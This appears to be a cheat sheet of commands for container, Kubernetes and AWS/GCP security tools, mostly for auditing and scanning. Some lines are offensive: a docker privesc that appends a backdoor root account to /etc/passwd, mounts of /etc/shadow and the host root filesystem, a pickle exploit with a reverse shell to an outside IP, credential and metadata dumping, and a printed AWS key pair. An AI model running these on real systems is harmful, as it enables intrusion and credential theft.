docker run -it --net host --pid host --userns host \
    --cap-add audit_control                        \
    -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST  \
    -v /var/lib:/var/lib                           \
    -v /var/run/docker.sock:/var/run/docker.sock   \
    -v /usr/lib/systemd:/usr/lib/systemd           \
    -v /etc:/etc --label docker_bench_security     \
    docker/docker-bench-security

# Scan local Docker installation
dockscan unix:///var/run/docker.sock
# Scan remote Docker installation and produce HTML report
dockscan -r html -o myreport -v tcp://example.com:5422

docker run --rm -it                              \
    -v /var/run/docker.sock:/var/run/docker.sock \
    wagoodman/dive:latest <args>

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

# Read file
docker run -v /etc/shadow:/docker/hashedpasswords -d postgres

# Manually privesc (if part of docker group)
# by adding a backdoor toor:password
docker run -it --rm -v $PWD:/mnt bash
$ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh'
    >> /mnt/etc/passwd

# Run inside a container
docker run --rm --pid=host                      \
   -v $(which kubectl):/usr/bin/kubectl         \
   -t aquasec/kube-bench:latest <master|node>

# Run in a cluster - on master node
kubectl run                                          \
    --rm                                             \
    -it                                              \
    kube-bench-master                                \
    --image=aquasec/kube-bench:latest                \
    --restart=Never                                  \
    --overrides="{ \"apiVersion\": \"v1\",           \
        \"spec\": { \"hostPID\": true,               \
        \"nodeSelector\":                            \
        { \"kubernetes.io/role\": \"master\" },      \
        \"tolerations\": [ {                         \
        \"key\": \"node-role.kubernetes.io/master\", \
        \"operator\": \"Exists\",                    \
        \"effect\": \"NoSchedule\" }]}}"             \
    -- master                                        \
    --version 1.8

# Run in a cluster - on worker nodes
kubectl run                                \
    --rm                                   \
    -it                                    \
    kube-bench-node                        \
    --image=aquasec/kube-bench:latest      \
    --restart=Never                        \
    --overrides="{ \"apiVersion\": \"v1\", \
        \"spec\": { \"hostPID\": true } }" \
    -- node                                \
    --version 1.8

# Run from docker
docker run -it --rm --network host aquasec/kube-hunter

# Run from kubectl
kubectl run --rm -it                        \
     kube-hunter                            \
     --image=aquasec/kube-hunter            \
     --restart=Never                        \
     --overrides="{ \"apiVersion\": \"v1\", \
     \"spec\": { \"hostNetwork\": true } }"

# Run from MASTER node
docker run -it --rm -e CONF_PATH=~/.kube/config -v /:/tmp cyberark/kubiscan [CMD]

# Search for pods with privileged accounts
kubiscan -rp

# Show all risky subjects (users, service accounts, groups)
kubiscan -rs

# Show all the rules a service account has
kubiscan -aars "SANAME" -ns "default" -k "ServiceAccount"

# List service account RoleBindings
kubiscan -aarbs "SANAME" -ns "default" -k "ServiceAccount"

# Run from kubectl (as plugin)
kubectl audit all

krew install kubesec-scan
kubectl kubesec-scan pod <podname>

# Put the config file in a directory and mount it to the /data folder
docker run --rm                               \
    -v /data:/data raesene/kube_auto_analyzer \
    -c /data/admin.conf -r testdock

# Provide a KUBECONFIG file to identify and authenticate the session
kubeautoanalyzer -c <kubeconfig_file_name> -r <report_name> --html

$ aws configure --profile <profile_name>

$ python aws_inventory.py
# Select the generated JSON file when prompted
$ firefox gui/dist/index.html

$ python count_resources.py

# Uses default ~/.aws/credentials
$ aws_public_ips -f json -s apigateway,cloudfront,ec2, \
    elasticsearch,elb,elbv2,lightsail,rds,redshift
# With a custom profile
$ AWS_PROFILE=production aws_public_ips ...

 $ python cs.py -env aws

# Edit the index.js file with your AWS key and secret
# Run a standard scan
$ node index.js
# Run a compliance scan
$ node index.js --compliance=hipaa

$ python aws-cis-foundation-benchmark-checklist.py

$ python s3scan.py [-f <format>] [-p <profile>]

# Configuration
# Edit it to include your account ID and name (ex. "prod"),
# along with any external CIDR names
$ cp config.json.demo config.json 

# Collect data & show network diagram
$ python cloudmapper.py collect --account my_account
$ python cloudmapper.py prepare --account my_account
$ python cloudmapper.py webserver

# Find public APIs/hosts/port ranges
$ python cloudmapper.py api_endpoints
$ python cloudmapper.py public

# Audit (check for potential misconfigurations)
$ python cloudmapper.py audit
$ python cloudmapper.py find_admins

§ Usage
# Gather & visualize data
$ python pmapper.py --profile my_profile graph
$ python pmapper.py visualize

# Query if 1+ principals can do a given action with a given resource
# Supported queries:
#     "can <Principal> do <Action> [with <Resource>]"
#     "who can do <Action> [with <Resource>]"
#     "preset <preset_query_name> <preset_query_args>"
$ python pmapper.py --profile my_profile    \
    query  "who can do s3:GetObject with *"

# Presets
#      priv_esc = identifies all principals that can change
#                  their own permissions (admins) & any
#                  principals that can access the administrative
#                  principals
#      connected = identifies if one principal can access another,
#                  or list all principals that can be accessed
$ python pmapper.py --profile my_profile    \
    query "preset priv_esc user/PowerUser"

$ Scout2 --profile <PROFILE_NAME>

$ ./prowler -p PROFILE -r us-east-1 | ansi2html -la > report.html

# Import keys
pacu> import_keys <profile>
# Modules
https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details

# Dump credentials available in this host
$ nimbostratus dump-credentials

# Dump permissions for the provided credentials
$ nimbostratus dump-permissions                        \
    --access-key=<ACCESS-KEY>                          \
    --secret-key=<SECRET>

# Dump instance metadata for the instance where the command is run
$ nimbostratus dump-ec2-metadata

# Create DB snapshot                                   \
#    If you've got credentials which allow you to      \
#       access the RDS API but do not have any         \
#       access to the database itself (MySQL user)     \
#    This allows to access the information stored      \
#          in that database by creating                \
#          a snapshot and restoring it                 \
$ nimbostratus snapshot-rds --access-key=ACCESS        \
        --secret-key=SECRET                            \
        --password PASSWORD --rds-name NAME            \
        --region ap-southeast-1

# Inject raw Celery message
$ nimbostratus celery-pickle-exploit --access-key=ACCESS \
    --secret-key=SECRET                                  \
    --reverse 1.2.3.4:4000 --queue-name NAME

# Create new user
$ nimbostratus create-iam-user --access-key=ACCESS       \
        --secret-key=SECRET

# Set an AWS key pair
$ cat env.sample
        [default]
        aws_access_key_id = <insert key id>
        aws_secret_access_key = <insert secret key>
$ cp env.sample .env

# Setup the database
$ python3 create_dbs.py

# Run the recon module
$ python3 weirdAAL.py -m recon_all -t MyTarget

# Other modules
https://github.com/carnal0wnage/weirdAAL/wiki

$ cat names.txt
    flaws.cloud
    google-dev
    testing.microsoft.com
    yelp-production.s3-us-west-1.amazonaws.com
    github-dev:us-east-1

# Dump all open buckets
$ python s3scanner.py --include-closed  \
    --out-file found.txt --dump names.txt

# Save file listings of all open buckets to file
$ python s3scanner.py --list names.txt

$ python cloudjack.py -o json -p default

Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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

$ gcloud init
$ gcloud auth list
$ gcloud auth application-default login
$ export GOOGLE_APPLICATION_CREDENTIALS="PATH"

$ python gscout.py --project-id <projectID>

# Using an user account
$ python Scout.py --provider gcp --user-account --project-id <projectID>
# Using a service account
$ python Scout.py --provider gcp                                     \
                  --service-account --key-file service_account.json  \
                  --project-id <projectID>

$ python gcp-audit.py -p <projectID>

# Dump all IAM to csv files
$ python collector.py
# Create an interactive graph
$ python create_iam_graph.py

$ python cs.py -env gcp -pId <project_name>

$ python3 gcpbucketbrute.py -k <KEYWORD> \
                            -f <sa-priv-key.pem> -o ./out.txt

$ export GITROB_ACCESS_TOKEN=<TOKEN>
$ gitrob <TARGET>